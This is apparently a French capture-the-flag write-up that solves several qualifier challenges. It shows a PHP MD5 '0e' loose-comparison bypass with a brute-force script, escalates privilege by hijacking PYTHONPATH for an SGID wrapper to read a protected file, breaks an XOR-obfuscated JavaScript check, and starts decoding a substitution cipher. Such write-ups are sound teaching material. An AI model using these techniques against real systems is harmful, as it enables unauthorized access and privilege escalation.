<div style="text-align: justify;">Le script récupère la valeur du paramètre GET <b>h1</b> et la concatène à la chaîne <b>Shrewk</b> avant d&rsquo;en calculer l&#8217;empreinte MD5. Cette empreinte est ensuite comparée à la chaîne <b>0</b> à l&rsquo;aide de l&rsquo;opérateur <b>==</b>.</div>
<div style="text-align: justify;">En temps normal, cette condition n&rsquo;est pas réalisable, puisque la sortie de la fonction <b>md5()</b> a pour longueur fixe 32. En revanche, puisque l&rsquo;opérateur de comparaison faible (en opposition à la comparaison forte avec l&rsquo;opérateur <b>===</b>) est utilisé, <a href="http://php.net/manual/fr/types.comparisons.php" target="_blank" rel="noopener">il est possible d&rsquo;en abuser</a>. Notamment, toute chaine de caractère débutant par <b>0e</b> et se terminant par une suite de chiffres est faiblement égale à la chaîne <b>0</b>.</div>
<div style="text-align: justify;">Les statistiques sont de notre côté, il n&rsquo;est pas si improbable d&rsquo;obtenir une telle chaîne en calculant l&#8217;empreinte d&rsquo;une chaîne aléatoire :</div>
<p><span class="w-code"><span class="sc18">&lt;?php</span><span class="sc118"><br />
</span><span class="sc121">while</span><span class="sc127">(</span><span class="sc122">1</span><span class="sc127">)</span> <span class="sc127">{</span><span class="sc118"><br />
</span><span class="sc123">$a</span> <span class="sc127">=</span> <span class="sc121">microtime</span><span class="sc127">(</span><span class="sc121">true</span><span class="sc127">);</span><span class="sc118"><br />
</span><span class="sc121">if</span><span class="sc127">(</span><span class="sc121">md5</span><span class="sc127">(</span><span class="sc123">$a</span><span class="sc127">.</span><span class="sc119">« Shrewk »</span><span class="sc127">)==</span><span class="sc119">« 0 »</span><span class="sc127">)</span> <span class="sc127">{</span><span class="sc118"><br />
</span><span class="sc121">echo</span> <span class="sc123">$a</span><span class="sc127">;</span><span class="sc118"><br />
</span><span class="sc121">break</span><span class="sc127">;</span><span class="sc118"><br />
</span><span class="sc127">}</span><span class="sc118"><br />
</span><span class="sc127">}</span><span class="sc118"><br />
</span><span class="sc18">?&gt;</span></span></p>
<div class="separator" style="clear: both; text-align: left;"></div>
<div style="text-align: justify;">La première chaîne de caractère validant la condition est trouvée en une vingtaine de minutes, et permet de valider le challenge :</div>
<p>&nbsp;</p>
</div>
<p><span class="w-code"><span class="w-user">iansus</span> @ <span class="w-server">iansus-server</span> ~/rtfm/quals/simple % <span class="w-cli">curl -X POST http://iansus.net:4444 &#8211;data &lsquo;h1=1539722573.8918&rsquo; -s | grep sigsegv</span><br />
h1 vaut: 0e633901513385170308561908425699&lt;/br&gt;&lt;!&#8211;Bien joué le flag est <span class="w-grepped">sigsegv</span>{a1a29afa647a20758e64b49d8eb453f4}&#8211;&gt;&lt;!&#8211; Si une méthode ne fonctionne pas il faut en utiliser une autre &#8211;&gt;</span></p>
<h2 style="clear: both;">App-script : Fun avec Python (par laxa)</h2>
<div>
<div style="text-align: justify;"><b>Description : </b>J&rsquo;ai commencé à développer des modules pour python, c&rsquo;est marrant. Je suis presque sûr que tout est sécurisé jusqu&rsquo;à présent.<br />
<span class="w-inline-code">ssh -p4443 chall@51.158.73.218 &#8211; mdp: e92b1b12c450afd60faa9f43cff5412e</span></div>
</div>
<p>&nbsp;</p>
<div style="text-align: justify;">La première étape est par conséquent de se connecter en SSH sur ce serveur pour découvrir l&rsquo;environnement:</div>
<p><span class="w-code"><span class="w-user">iansus </span>@ <span class="w-server">iansus-server</span> ~/rtfm/Qualifications-2018 % <span class="w-cli">ssh -p 4443 chall@iansus.net</span><br />
chall@iansus.net&rsquo;s password:<br />
Linux 4e5d88350bfc 4.9.0-8-amd64 #1 SMP Debian 4.9.110-3+deb9u4 (2018-08-21) x86_64<br />
The programs included with the Debian GNU/Linux system are free software;<br />
the exact distribution terms for each program are described in the<br />
individual files in /usr/share/doc/*/copyright.<br />
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent<br />
permitted by applicable law.<br />
aaaaaaaaaaaaaaaaaaaaaa<br />
<span class="w-user">chall</span>@<span class="w-server">4e5d88350bfc</span>:~$ <span class="w-cli">ls -l</span><br />
total 16<br />
-r&#8211;r&#8212;&#8211; 1 root chall-pwned 21 Oct 16 17:13 flag<br />
-rwxr-xr-x 1 root root 307 Oct 16 17:13 hello-world.py<br />
-rwxr-<span class="w-grepped">s</span>r-x 1 root chall-pwned 6304 Oct 17 17:18 <span class="w-grepped">wrapper</span></span></p>
<div style="text-align: justify;">Dans cette configuration, le fichier <b>flag</b> ne peut être lu que par un membre du groupe <b>chall-pwned</b>. Un programme <b>wrapper</b> possède le bit SGID et s&rsquo;exécutera sous l&rsquo;identité du groupe <b>chall-pwned</b>. Enfin, le fichier Python suivant est fourni :</div>
<p><span class="w-code"><span class="sc1">#!/usr/bin/python2.7</span><span class="sc0"><br />
</span><span class="sc5">from</span> <span class="sc11">colors</span> <span class="sc5">import</span> <span class="sc11">colors</span><span class="sc0"><br />
</span><span class="sc5">def</span> <span class="sc9">main</span><span class="sc10">():</span><span class="sc0"><br />
</span><span class="sc5">print</span><span class="sc10">(</span><span class="sc4">&lsquo;This is an advanced hello-world&rsquo;</span><span class="sc10">)</span><span class="sc0"><br />
</span><span class="sc5">print</span><span class="sc10">(</span><span class="sc4">&lsquo;The world is more joyful with colors&rsquo;</span><span class="sc10">)</span><span class="sc0"><br />
</span><span class="sc5">print</span><span class="sc10">(</span><span class="sc4">&lsquo;So, here we are:&rsquo;</span><span class="sc10">)</span><span class="sc0"><br />
</span><span class="sc5">print</span><span class="sc10">(</span><span class="sc4">&lsquo;{}Hello-World !{}&rsquo;</span><span class="sc10">.</span><span class="sc11">format</span><span class="sc10">(</span><span class="sc11">colors</span><span class="sc10">.</span><span class="sc11">bcolors</span><span class="sc10">.</span><span class="sc11">OKBLUE</span><span class="sc10">,</span> <span class="sc11">colors</span><span class="sc10">.</span><span class="sc11">bcolors</span><span class="sc10">.</span><span class="sc11">ENDC</span><span class="sc10">))</span><span class="sc0"><br />
</span><span class="sc5">if</span> <span class="sc11">__name__</span> <span class="sc10">==</span> <span class="sc4">&lsquo;__main__&rsquo;</span><span class="sc10">:</span><span class="sc0"><br />
</span><span class="sc11">main</span><span class="sc10">()</span></span></p>
<div style="text-align: justify;">Après vérification, le package <b>colors</b> n&rsquo;existe pas sur PyPI, ce doit être un développement de l&rsquo;auteur. Pour aller observer le fichier source, il suffit d&rsquo;exécuter les commandes suivantes :</div>
<p><span class="w-code"><span class="w-user">chall</span>@<span class="w-server">4e5d88350bfc</span>:~$ <span class="w-cli">python2.7</span><br />
Python 2.7.13 (default, Nov 24 2017, 17:33:09)<br />
[GCC 6.3.0 20170516] on linux2<br />
Type « help », « copyright », « credits » or « license » for more information.<br />
&gt;&gt;&gt; <span class="w-cli">import colors</span><br />
&gt;&gt;&gt; <span class="w-cli">colors.__file__</span><br />
&lsquo;<span class="w-grepped">/usr/local/lib/python2.7/dist-packages/colors/</span>__init__.py&rsquo;</span></p>
<div style="text-align: justify;">La source du module Python est située dans le fichier <span class="w-inline-code">/usr/local/lib/python2.7/dist-packages/colors/colors.py</span> :</div>
<p><span class="w-code"><span class="sc5">class</span> <span class="sc8">bcolors</span><span class="sc10">:</span><span class="sc0"><br />
</span><span class="sc11">HEADER</span> <span class="sc10">=</span> <span class="sc4">&lsquo;\033[95m&rsquo;</span><span class="sc0"><br />
</span><span class="sc11">OKBLUE</span> <span class="sc10">=</span> <span class="sc4">&lsquo;\033[94m&rsquo;</span><span class="sc0"><br />
</span><span class="sc11">OKGREEN</span> <span class="sc10">=</span> <span class="sc4">&lsquo;\033[92m&rsquo;</span><span class="sc0"><br />
</span><span class="sc11">WARNING</span> <span class="sc10">=</span> <span class="sc4">&lsquo;\033[93m&rsquo;</span><span class="sc0"><br />
</span><span class="sc11">FAIL</span> <span class="sc10">=</span> <span class="sc4">&lsquo;\033[91m&rsquo;</span><span class="sc0"><br />
</span><span class="sc11">ENDC</span> <span class="sc10">=</span> <span class="sc4">&lsquo;\033[0m&rsquo;</span><span class="sc0"><br />
</span><span class="sc11">BOLD</span> <span class="sc10">=</span> <span class="sc4">&lsquo;\033[1m&rsquo;</span><span class="sc0"><br />
</span><span class="sc11">UNDERLINE</span> <span class="sc10">=</span> <span class="sc4">&lsquo;\033[4m&rsquo;</span></span></p>
<div style="text-align: justify;">Plutôt déroutant à première vue, puisqu&rsquo;aucun argument n&rsquo;est fourni au programme&#8230; La vulnérabilité vient peut-être alors du chargement du module. Pour cela, la <a href="https://docs.python.org/2.7/tutorial/modules.html#the-module-search-path" target="_blank" rel="noopener">documentation de Python</a> décrit très bien l&rsquo;ordre de chargement des modules.</div>
<div style="text-align: justify;">Par défaut, les modules sont chargés depuis les dossiers présents dans la variable <b>sys.path</b>, qui fonctionne de manière similaire à la variable d&rsquo;environnement <b>$PATH</b>. Cette variable est initialisée comme suit :</div>
<div style="text-align: justify;"></div>
<ul>
<li>Avec le nom du dossier contenant le script Python exécuter (les liens symboliques sont résolus)</li>
<li>Avec la variable d&rsquo;environnement <b>$PYTHONPATH</b></li>
<li>Avec le dossier d&rsquo;installation par défaut des scripts</li>
</ul>
<p>&nbsp;</p>
<div style="text-align: justify;">N&rsquo;ayant ni les droits d&rsquo;écriture dans le dossier courant ou dans le dossier par défaut, la seconde solution semble la plus adaptée. L&rsquo;utilisation d&rsquo;un binaire SUID ne supprime pas les variables d&rsquo;environnement (à l&rsquo;inverse du fonctionnement par défaut de sudo).</div>
<div style="text-align: justify;">Pour exploiter la vulnérabilité, le fichier <span class="w-inline-code">/tmp/colors.py</span> est créé :</div>
<p><span class="w-code"><span class="sc1">#!/usr/bin/python2.7</span><span class="sc0"><br />
</span><span class="sc5">print</span> <span class="sc11">open</span><span class="sc10">(</span><span class="sc4">&lsquo;/home/chall/flag&rsquo;</span><span class="sc10">,</span> <span class="sc4">&lsquo;r&rsquo;</span><span class="sc10">).</span><span class="sc11">read</span><span class="sc10">()</span></span><br />
Il est alors possible de récupérer le flag comme suit :<br />
<span class="w-code"><span class="w-user">chall</span>@<span class="w-server">4e5d88350bfc</span>:~$ <span class="w-cli">PYTHONPATH=/tmp ./wrapper</span><br />
<span class="w-grepped">sigsegv{un_flag_ici}</span><br />
Traceback (most recent call last):<br />
File « /home/chall/hello-world.py », line 3, in &lt;module&gt;<br />
from colors import colors<br />
ImportError: cannot import name colors<br />
</span></p>
<h2 style="clear: both;">Web-client : Javascript Obfusqué (par Synacktiv)</h2>
<div>
<div style="text-align: justify;">
<p><b>Description : </b>Le javascript est populaire de nos jours, serez-vous capable de retrouver le flag ?Le challenge se présente sous la forme d&rsquo;un fichier HTML qui contient un formulaire pour vérifier le flag :</p>
<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://2.bp.blogspot.com/-RzbvmwXsFGs/W8hHKOhqWfI/AAAAAAAAAj0/vXobc1JLI2Y5eR_135WxudwUm-f9XQcRgCLcBGAs/s1600/3_1.png"><img decoding="async" src="https://2.bp.blogspot.com/-RzbvmwXsFGs/W8hHKOhqWfI/AAAAAAAAAj0/vXobc1JLI2Y5eR_135WxudwUm-f9XQcRgCLcBGAs/s1600/3_1.png" border="0" data-original-height="41" data-original-width="499" /></a></div>
<p><span class="w-code"><span class="sc1">&lt;html&gt;&lt;SCRIPT</span> <span class="sc3">LANGUAGE</span><span class="sc8">=</span><span class="sc6">« JavaScript »</span><span class="sc1">&gt;</span><span class="sc43">&lt;!&#8211;</span><span class="sc41"><br />
</span><span class="sc46">document.write</span><span class="sc50">(</span><span class="sc46">unescape</span><span class="sc50">(</span><span class="sc48">« %3C%53[..snip..]%54%3E »</span><span class="sc50">));</span><span class="sc43">//&#8211;&gt;</span><span class="sc1">&lt;/SCRIPT&gt;&lt;SCRIPT</span> <span class="sc3">LANGUAGE</span><span class="sc8">=</span><span class="sc6">« JavaScript »</span><span class="sc1">&gt;</span><span class="sc43">&lt;!&#8211;</span><span class="sc41"><br />
</span><span class="sc46">hp_d01</span><span class="sc50">(</span><span class="sc46">unescape</span><span class="sc50">(</span><span class="sc48">« %3E%23//JGCF[..snip..]%23//-JGCF//%3C »</span><span class="sc50">));</span><span class="sc43">//&#8211;&gt;</span><span class="sc1">&lt;/SCRIPT&gt;&lt;NOSCRIPT&gt;</span><span class="sc0">To display this page you need a browser with JavaScript support.</span><span class="sc1">&lt;/NOSCRIPT&gt;</span><span class="sc0"><br />
</span><span class="sc1">&lt;/html&gt;</span><span class="sc0"><br />
</span></span><br />
Il est en général possible de rencontrer deux types d&rsquo;obfuscation JavaScript :</p>
<ul>
<li>La première construit un code qui sera désobfusqué et exécuté grâce à la fonction <b>eval()</b></li>
<li>La seconde construit un code qui sera désobfusqué et exécuté en l&rsquo;ajoutant dynamiquement dans le code de la page, par exemple via <b>document.write()</b></li>
</ul>
<p>Ce challenge utilise la seconde méthode, et le code final peut donc être récupéré en utilisant l&rsquo;inspecteur HTML de Chrome / Firefox / Opera :</p>
<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://1.bp.blogspot.com/-2ZA5mrOy7eA/W8hIxs8eBWI/AAAAAAAAAkA/pOFHhywWeksrEy6vADS6n8DAK9Ar8SulACLcBGAs/s1600/3_2.png"><img decoding="async" src="https://1.bp.blogspot.com/-2ZA5mrOy7eA/W8hIxs8eBWI/AAAAAAAAAkA/pOFHhywWeksrEy6vADS6n8DAK9Ar8SulACLcBGAs/s1600/3_2.png" border="0" data-original-height="237" data-original-width="587" /></a></div>
<p>Le code complet de la fonction JavaScript est le suivant :<br />
<span class="w-code"><span class="sc1">&lt;script</span> <span class="sc3">language</span><span class="sc8">=</span><span class="sc6">« JavaScript »</span><span class="sc1">&gt;</span><span class="sc40"><br />
</span><span class="sc47">function</span> <span class="sc46">Kod</span><span class="sc50">(</span><span class="sc46">s</span><span class="sc50">,</span> <span class="sc46">pass</span><span class="sc50">)</span> <span class="sc50">{</span><span class="sc41"><br />
</span><span class="sc47">var</span> <span class="sc46">i</span><span class="sc50">=</span><span class="sc45">0</span><span class="sc50">;</span><span class="sc41"><br />
</span><span class="sc47">var</span> <span class="sc46">BlaBla</span><span class="sc50">=</span><span class="sc48">«  »</span><span class="sc50">;</span><span class="sc41"><br />
</span><span class="sc47">for</span><span class="sc50">(</span><span class="sc46">j</span><span class="sc50">=</span><span class="sc45">0</span><span class="sc50">;</span> <span class="sc46">j</span><span class="sc50">&lt;</span><span class="sc46">s.length</span><span class="sc50">;</span> <span class="sc46">j</span><span class="sc50">++)</span> <span class="sc50">{</span><span class="sc41"><br />
</span><span class="sc46">BlaBla</span> <span class="sc50">+=</span> <span class="sc46">String.fromCharCode</span><span class="sc50">((</span><span class="sc46">pass.charCodeAt</span><span class="sc50">(</span><span class="sc46">i</span><span class="sc50">++))^(</span><span class="sc46">s.charCodeAt</span><span class="sc50">(</span><span class="sc46">j</span><span class="sc50">)));</span><span class="sc41"><br />
</span><span class="sc47">if</span> <span class="sc50">(</span><span class="sc46">i</span><span class="sc50">&gt;=</span><span class="sc46">pass.length</span><span class="sc50">)</span><span class="sc41"><br />
</span><span class="sc46">i</span><span class="sc50">=</span><span class="sc45">0</span><span class="sc50">;</span><span class="sc41"><br />
</span><span class="sc50">}</span><span class="sc41"><br />
</span><span class="sc47">return</span><span class="sc50">(</span><span class="sc46">BlaBla</span><span class="sc50">);</span><span class="sc41"><br />
</span><span class="sc50">}</span><span class="sc41"><br />
</span><span class="sc47">function</span> <span class="sc46">f</span><span class="sc50">(</span><span class="sc46">form</span><span class="sc50">){</span><span class="sc41"><br />
</span><span class="sc47">var</span> <span class="sc46">pass</span><span class="sc50">=</span><span class="sc46">document.form.pass.value</span><span class="sc50">;</span><span class="sc41"><br />
</span><span class="sc47">var</span> <span class="sc46">hash</span><span class="sc50">=</span><span class="sc45">0</span><span class="sc50">;</span><span class="sc41"><br />
</span><span class="sc47">for</span><span class="sc50">(</span><span class="sc46">j</span><span class="sc50">=</span><span class="sc45">0</span><span class="sc50">;</span> <span class="sc46">j</span><span class="sc50">&lt;</span><span class="sc46">pass.length</span><span class="sc50">;</span> <span class="sc46">j</span><span class="sc50">++){</span><span class="sc41"><br />
</span><span class="sc47">var</span> <span class="sc46">n</span><span class="sc50">=</span> <span class="sc46">pass.charCodeAt</span><span class="sc50">(</span><span class="sc46">j</span><span class="sc50">);</span><span class="sc41"><br />
</span><span class="sc46">hash</span> <span class="sc50">+=</span> <span class="sc50">((</span><span class="sc46">n</span><span class="sc50">&#8211;</span><span class="sc46">j</span><span class="sc50">+</span><span class="sc45">33</span><span class="sc50">)^</span><span class="sc45">31025</span><span class="sc50">);</span><span class="sc41"><br />
</span><span class="sc50">}</span><span class="sc41"><br />
</span><span class="sc47">if</span> <span class="sc50">(</span><span class="sc46">hash</span> <span class="sc50">==</span> <span class="sc45">529387</span><span class="sc50">)</span> <span class="sc50">{</span><span class="sc41"><br />
</span><span class="sc47">var</span> <span class="sc46">Secret</span> <span class="sc50">=</span><span class="sc48">«  »</span><span class="sc50">+</span><span class="sc48">« \x4f\x01\x13\x1e\x09\x59\x34\x09\x0b\x05\x26\x53\x31\x41\x5a\x18\x0e\x53\x1d\x15\x1c\x10\x11\x13\x5b\x06\x16\x69\x15\x29\x55\x1d\x55\x5d\x06\x1d\x0e\x1f\x0c\x14\x13\x5b\x06\x16\x69\x1e\x2a\x40\x5a\x1d\x18\x53\x19\x06\x00\x16\x02\x56\x0a\x1f\x16\x69\x07\x30\x14\x1b\x0a\x5d\x07\x1b\x08\x06\x13\x02\x56\x0b\x05\x06\x3b\x53\x33\x55\x16\x10\x19\x16\x1b\x47\x1f\x00\x47\x15\x13\x0b\x1f\x25\x16\x2b\x53\x1f\x45\x52\x1b\x1d\x0a\x1f\x5b »</span><span class="sc50">+</span><span class="sc48">«  »</span><span class="sc50">;</span><span class="sc41"><br />
</span><span class="sc47">var</span> <span class="sc46">s</span><span class="sc50">=</span><span class="sc46">Kod</span><span class="sc50">(</span><span class="sc46">Secret</span><span class="sc50">,</span> <span class="sc46">pass</span><span class="sc50">);</span><span class="sc41"><br />
</span><span class="sc46">document.write</span> <span class="sc50">(</span><span class="sc46">s</span><span class="sc50">);</span><span class="sc41"><br />
</span><span class="sc50">}</span> <span class="sc47">else</span> <span class="sc50">{</span><span class="sc41"><br />
</span><span class="sc46">alert</span> <span class="sc50">(</span><span class="sc49">&lsquo;Wrong password!&rsquo;</span><span class="sc50">);</span><span class="sc41"><br />
</span><span class="sc50">}</span><span class="sc41"><br />
</span><span class="sc50">}</span><span class="sc41"><br />
</span><span class="sc1">&lt;/script&gt;</span></span><br />
Les première analyses du code indiquent que :</p>
<ul>
<li>La fonction <b>Kod</b> consiste à réaliser une opération <b>XOR</b> entre une chaîne et une clé, cette dernière étant répétée si plus courte que la chaîne à chiffrer</li>
<li>La fonction <b>f</b> est appelée sur validation du formulaire et :
<ul>
<li>réalise une vérification sur la clé entrée dans le formulaire (variable <b>hash</b>)</li>
<li>déchiffre la variable <b>Secret</b> à l&rsquo;aide de la clé pour l&rsquo;afficher sur la page</li>
</ul>
</li>
</ul>
<div>Il s&rsquo;agit donc ici d&rsquo;un problème de cryptographie, et la première étape consiste à trouver la longueur de la clé. Bien que des analyses statistiques soient possibles, une méthode plus facile consiste à utiliser le calcul de la variable <b>hash</b> pour évaluer cette longueur.</div>
<div>Cette variable est la somme des <span class="w-inline-code">(n-j+33)^31025</span>, <b>n</b> étant le code ASCII du caractère et <b>j </b>sa position. Ces éléments sont globalement bornés autour dans l&rsquo;intervalle 30000-32000. Il est donc facile d&rsquo;approximer la longueur de la clé via Napprox = 529387 / 31000 = 17.077</div>
</div>
</div>
<p>, soit 17.</p>
<div style="text-align: justify;">Connaissant cette longueur, la variable Secret peut être présentée sous la forme suivante, qui aligne les octets du texte chiffré qui seront déchiffrés à l&rsquo;aide des mêmes octets de la clé :</div>
<p><span class="w-code"><span class="sc3">« \x4f\x01\x13\x1e\x09\x59\x34\x09\x0b\x05\x26\x53\x31\x41\x5a\x18\x0e »</span> <span class="sc10">+</span><span class="sc0"><br />
</span><span class="sc3">« \x53\x1d\x15\x1c\x10\x11\x13\x5b\x06\x16\x69\x15\x29\x55\x1d\x55\x5d »</span> <span class="sc10">+</span><span class="sc0"><br />
</span><span class="sc3">« \x06\x1d\x0e\x1f\x0c\x14\x13\x5b\x06\x16\x69\x1e\x2a\x40\x5a\x1d\x18 »</span> <span class="sc10">+</span><span class="sc0"><br />
</span><span class="sc3">« \x53\x19\x06\x00\x16\x02\x56\x0a\x1f\x16\x69\x07\x30\x14\x1b\x0a\x5d »</span> <span class="sc10">+</span><span class="sc0"><br />
</span><span class="sc3">« \x07\x1b\x08\x06\x13\x02\x56\x0b\x05\x06\x3b\x53\x33\x55\x16\x10\x19 »</span> <span class="sc10">+</span><span class="sc0"><br />
</span><span class="sc3">« \x16\x1b\x47\x1f\x00\x47\x15\x13\x0b\x1f\x25\x16\x2b\x53\x1f\x45\x52 »</span> <span class="sc10">+</span><span class="sc0"><br />
</span><span class="sc3">« \x1b\x1d\x0a\x1f\x5b »</span></span></p>
<div style="text-align: justify;">Pour traduire peu à peu le texte, il est possible d&rsquo;utiliser la technique du mot probable, qui fonctionne comme suit : on suppose qu&rsquo;un certain mot est présent (non coupé) dans l&rsquo;un des blocs. Il est alors possible d&rsquo;en déduire une portion de clé probable, et de déchiffrer les autres portions de blocs avec cette clé.</div>
<div style="text-align: justify;">Le script suivant permet de faciliter cette recherche, et d&rsquo;aboutir peu à peu à la clé finale, <span class="w-inline-code">sigsegv{jsIsE4zy}</span> :</div>
<p><span class="w-code"><span class="sc1">#!/usr/bin/python</span><span class="sc0"><br />
</span><span class="sc5">import</span> <span class="sc11">sys</span><span class="sc0"><br />
</span><span class="sc5">def</span> <span class="sc9">xor</span><span class="sc10">(</span><span class="sc11">a</span><span class="sc10">,</span> <span class="sc11">b</span><span class="sc10">):</span><span class="sc0"><br />
</span><span class="sc5">return</span> <span class="sc4"> »</span><span class="sc10">.</span><span class="sc11">join</span><span class="sc10">([</span><span class="sc11">chr</span><span class="sc10">(</span><span class="sc11">ord</span><span class="sc10">(</span><span class="sc11">c</span><span class="sc10">)^</span><span class="sc11">ord</span><span class="sc10">(</span><span class="sc11">d</span><span class="sc10">))</span> <span class="sc5">for</span> <span class="sc11">c</span><span class="sc10">,</span> <span class="sc11">d</span> <span class="sc5">in</span> <span class="sc11">zip</span><span class="sc10">(</span><span class="sc11">a</span><span class="sc10">,</span> <span class="sc11">b</span><span class="sc10">)])</span></span><br />
<span class="sc11">blocks</span> <span class="sc10">=</span> <span class="sc10">[</span><span class="sc0"><br />
</span><span class="sc4">&lsquo;\x4f\x01\x13\x1e\x09\x59\x34\x09\x0b\x05\x26\x53\x31\x41\x5a\x18\x0e&rsquo;</span><span class="sc10">,</span><span class="sc0"><br />
</span><span class="sc4">&lsquo;\x53\x1d\x15\x1c\x10\x11\x13\x5b\x06\x16\x69\x15\x29\x55\x1d\x55\x5d&rsquo;</span><span class="sc10">,</span><span class="sc0"><br />
</span><span class="sc4">&lsquo;\x06\x1d\x0e\x1f\x0c\x14\x13\x5b\x06\x16\x69\x1e\x2a\x40\x5a\x1d\x18&rsquo;</span><span class="sc10">,</span><span class="sc0"><br />
</span><span class="sc4">&lsquo;\x53\x19\x06\x00\x16\x02\x56\x0a\x1f\x16\x69\x07\x30\x14\x1b\x0a\x5d&rsquo;</span><span class="sc10">,</span><span class="sc0"><br />
</span><span class="sc4">&lsquo;\x07\x1b\x08\x06\x13\x02\x56\x0b\x05\x06\x3b\x53\x33\x55\x16\x10\x19&rsquo;</span><span class="sc10">,</span><span class="sc0"><br />
</span><span class="sc4">&lsquo;\x16\x1b\x47\x1f\x00\x47\x15\x13\x0b\x1f\x25\x16\x2b\x53\x1f\x45\x52&rsquo;</span><span class="sc10">,</span><span class="sc0"><br />
</span><span class="sc1">#&rsquo;\x1b\x1d\x0a\x1f\x5b&rsquo;</span><span class="sc0"><br />
</span><span class="sc10">]</span><span class="sc0"><br />
</span><span class="sc11">pw</span> <span class="sc10">=</span> <span class="sc11">sys</span><span class="sc10">.</span><span class="sc11">argv</span><span class="sc10">[</span><span class="sc2">1</span><span class="sc10">]</span><span class="sc0"><br />
</span><span class="sc5">for</span> <span class="sc11">b</span> <span class="sc5">in</span> <span class="sc11">blocks</span><span class="sc10">:</span><span class="sc0"><br />
</span><span class="sc5">print</span> <span class="sc4">&lsquo;[-] Ref is %s&rsquo;</span> <span class="sc10">%</span> <span class="sc11">repr</span><span class="sc10">(</span><span class="sc11">b</span><span class="sc10">)</span><span class="sc0"><br />
</span><span class="sc5">for</span> <span class="sc11">i</span> <span class="sc5">in</span> <span class="sc11">range</span><span class="sc10">(</span><span class="sc11">len</span><span class="sc10">(</span><span class="sc11">blocks</span><span class="sc10">[</span><span class="sc2">0</span><span class="sc10">])-</span><span class="sc11">len</span><span class="sc10">(</span><span class="sc11">pw</span><span class="sc10">)+</span><span class="sc2">1</span><span class="sc10">):</span><span class="sc0"><br />
</span><span class="sc5">print</span> <span class="sc4">&lsquo;[-] At pos %d&rsquo;</span> <span class="sc10">%</span> <span class="sc11">i</span><span class="sc0"><br />
</span><span class="sc11">pk</span> <span class="sc10">=</span> <span class="sc11">xor</span><span class="sc10">(</span><span class="sc11">b</span><span class="sc10">[</span><span class="sc11">i</span><span class="sc10">:],</span> <span class="sc11">pw</span><span class="sc10">)</span><span class="sc0"><br />
</span><span class="sc5">print</span> <span class="sc4">&lsquo;[-] PK = %s&rsquo;</span> <span class="sc10">%</span> <span class="sc11">repr</span><span class="sc10">(</span><span class="sc11">pk</span><span class="sc10">)</span><span class="sc0"><br />
</span><span class="sc5">for</span> <span class="sc11">b2</span> <span class="sc5">in</span> <span class="sc11">blocks</span><span class="sc10">:</span><span class="sc0"><br />
</span><span class="sc5">if</span> <span class="sc11">b</span><span class="sc10">==</span><span class="sc11">b2</span><span class="sc10">:</span><span class="sc0"><br />
</span><span class="sc5">continue</span><span class="sc0"><br />
</span><span class="sc5">print</span> <span class="sc11">xor</span><span class="sc10">(</span><span class="sc11">b2</span><span class="sc10">[</span><span class="sc11">i</span><span class="sc10">:],</span> <span class="sc11">pk</span><span class="sc10">)</span><span class="sc0"><br />
</span><span class="sc5">print</span> <span class="sc4"> »</span><span class="sc0"><br />
</span></p>
<h2>Cryptographie : Un nouveau dialecte (ShrewkRoot)</h2>
<div><b>Description :</b> Nous avons trouvé un nouveau dialecte, analysez-le pour retrouver ce qu&rsquo;il signifie:<br />
<span class="w-inline-code">ȃǹǷȃǵǷȆȋǜǑǣǤǕǗǑǓǕǣǤǠǑǣǣǙǖǑǓǙǜǕȍ</span>Avant de se lancer à l&#8217;emporte pièce, il est important de noter qu&rsquo;il s&rsquo;agit ici de caractères multi-bytes. Une méthode simple pour traduire ces derniers consiste à utiliser hexdump :</div>
<p><span class="w-code"><span class="w-user">iansus </span>@ <span class="w-server">iansus-server</span> ~/rtfm/quals/js % <span class="w-cli">echo -n ȃǹǷȃǵǷȆȋǜǑǣǤǕǗǑǓǕǣǤǠǑǣǣǙǖǑǓǙǜǕȍ | hexdump -C</span><br />
00000000 <span class="w-grepped">c8</span> 83 <span class="w-grepped">c7</span> b9 <span class="w-grepped">c7</span> b7 <span class="w-grepped">c8</span> 83 <span class="w-grepped">c7</span> b5 <span class="w-grepped">c7</span> b7 <span class="w-grepped">c8</span> 86 <span class="w-grepped">c8</span> 8b |&#8230;&#8230;&#8230;&#8230;&#8230;.|<br />
00000010 <span class="w-grepped">c7</span> 9c <span class="w-grepped">c7</span> 91 <span class="w-grepped">c7</span> a3 <span class="w-grepped">c7</span> a4 <span class="w-grepped">c7</span> 95 <span class="w-grepped">c7</span> 97 <span class="w-grepped">c7</span> 91 <span class="w-grepped">c7</span> 93 |&#8230;&#8230;&#8230;&#8230;&#8230;.|<br />
00000020 <span class="w-grepped">c7</span> 95 <span class="w-grepped">c7</span> a3 <span class="w-grepped">c7</span> a4 <span class="w-grepped">c7</span> a0 <span class="w-grepped">c7</span> 91 <span class="w-grepped">c7</span> a3 <span class="w-grepped">c7</span> a3 <span class="w-grepped">c7</span> 99 |&#8230;&#8230;&#8230;&#8230;&#8230;.|<br />
00000030 <span class="w-grepped">c7</span> 96 <span class="w-grepped">c7</span> 91 <span class="w-grepped">c7</span> 93 <span class="w-grepped">c7</span> 99 <span class="w-grepped">c7</span> 9c <span class="w-grepped">c7</span> 95 <span class="w-grepped">c8</span> 8d |&#8230;&#8230;&#8230;&#8230;..|<br />
0000003e</span><br />
On constate alors rapidement que les caractères s&rsquo;écrivent sur deux octets, et qu&rsquo;ils se présentent tous sous les forme <b>c7 xx</b> ou <b>c8 yy</b>. Par ailleurs, en supposant que le texte décodé commence par <b>sigsegv{</b>, on remarque que :</p>
<ul>
<li>La 1ère lettre (s) et la 4ème lettre (s) sont codées de manière identique (c8 83) : il s&rsquo;agit donc probablement d&rsquo;une substitution monoalphabétique</li>
<li>La 5ème lettre (e) et la 7ème lettre (g) ont respectivement pour valeur codée <b>c7 b5</b> et <b>c7 b7</b> : le décalage entre deux lettres est constant, il s&rsquo;agit probablement d&rsquo;une variante du chiffre de César</li>
</ul>
<div>Par conséquent, connaissant le clair et le chiffré pour une lettre de chaque encodage (<b>c7 xx</b> et <b>c8 yy</b>), il est facile de coder un programme qui réalisera la traduction pour nous :</div>
<div><span class="w-code"><span class="w-code"><span class="sc1">#!/usr/bin/python</span><span class="sc0"><br />
</span><span class="sc5">import</span> <span class="sc11">sys</span><span class="sc0"><br />
</span><span class="sc1"># No multibyte string in Python&#8230;</span><span class="sc0"><br />
